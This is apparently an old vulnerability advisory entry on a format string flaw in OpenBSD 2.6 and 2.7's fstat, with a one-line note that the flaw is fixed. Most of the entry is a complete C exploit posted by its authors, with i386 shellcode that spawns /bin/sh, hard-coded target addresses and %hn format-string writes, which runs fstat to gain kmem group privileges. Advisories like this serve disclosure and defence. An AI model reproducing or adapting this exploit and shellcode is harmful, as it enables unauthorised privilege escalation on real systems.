|
Vulnerability fstat Affected OpenBSD 2.6, 2.7 Description K2 posted following. Here is another exploit for an application (fstat) that OpenBSD's format string audit has seemingly forgotten about. On 2.6 (using the canned exploit) you get egid=2 (kmem). /* * theoBSD fstat - private caddis & K2 release * TagTeam exploit coding @$_*#%*&(#%(**(@$*($@ * * greets: #!adm, #!teso, #!w00w00 * */ #include <stdio.h> char bsd_shellcode[] = "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh"; struct platform { char *name; unsigned short count; unsigned long dest_addr; unsigned long shell_addr; char *shellcode; }; struct platform targets[2] = { { "OpenBSD 2.7 i386 ", 590, 0xdfbfc490, 0xdfbfde04, bsd_shellcode }, { NULL, 0, 0, 0, NULL } }; char fmt_string[3072], jmpcode[500] = "PWD=HI", term[] = "TERM=xterm"; char *envs[] = { term, jmpcode, NULL}; void usage(char *name) { printf("%s <TARGET>\n" "1 - OpenBSD 2.7 i386\n", name); exit(1); } int main(int argc, char *argv[]) { char *p; int x, len = 0; struct platform *target; unsigned short low, high; unsigned long shell_addr[2], dest_addr[2]; if (argc != 2) usage(argv[0]); x = atoi(argv[1]) - 1; if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0) usage(argv[0]); target = &targets[x]; memset(fmt_string, 0, sizeof(fmt_string)); len = (sizeof(long) * 4) + 2; p = fmt_string + len; for (x = 0; x < target->count; x++) { strcat(p, "%8x"); len += 8; } shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16; shell_addr[1] = target->shell_addr & 0xffff; if (shell_addr[1] > shell_addr[0]) { dest_addr[0] = target->dest_addr+2; dest_addr[1] = target->dest_addr; low = shell_addr[0] - len; high = shell_addr[1] - low - len; } else { dest_addr[0] = target->dest_addr; dest_addr[1] = target->dest_addr+2; low = shell_addr[1] - len; high = shell_addr[0] - low - len; } memcpy(fmt_string, "!!", 2); *(long *)&fmt_string[2] = 0x11111111; *(long *)&fmt_string[6] = dest_addr[0]; *(long *)&fmt_string[10] = 0x11111111; *(long *)&fmt_string[14] = dest_addr[1]; memset(jmpcode, 0x90, sizeof(jmpcode)); strcpy(jmpcode + (sizeof(jmpcode) - strlen(target->shellcode) - 1), target->shellcode); p = fmt_string + strlen(fmt_string); sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high); execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs); perror("execve"); } Solution This has been fixed. Look for patch at www.openbsd.org. 2.8 does not give you a shell, but instead results in a "File name too long" message.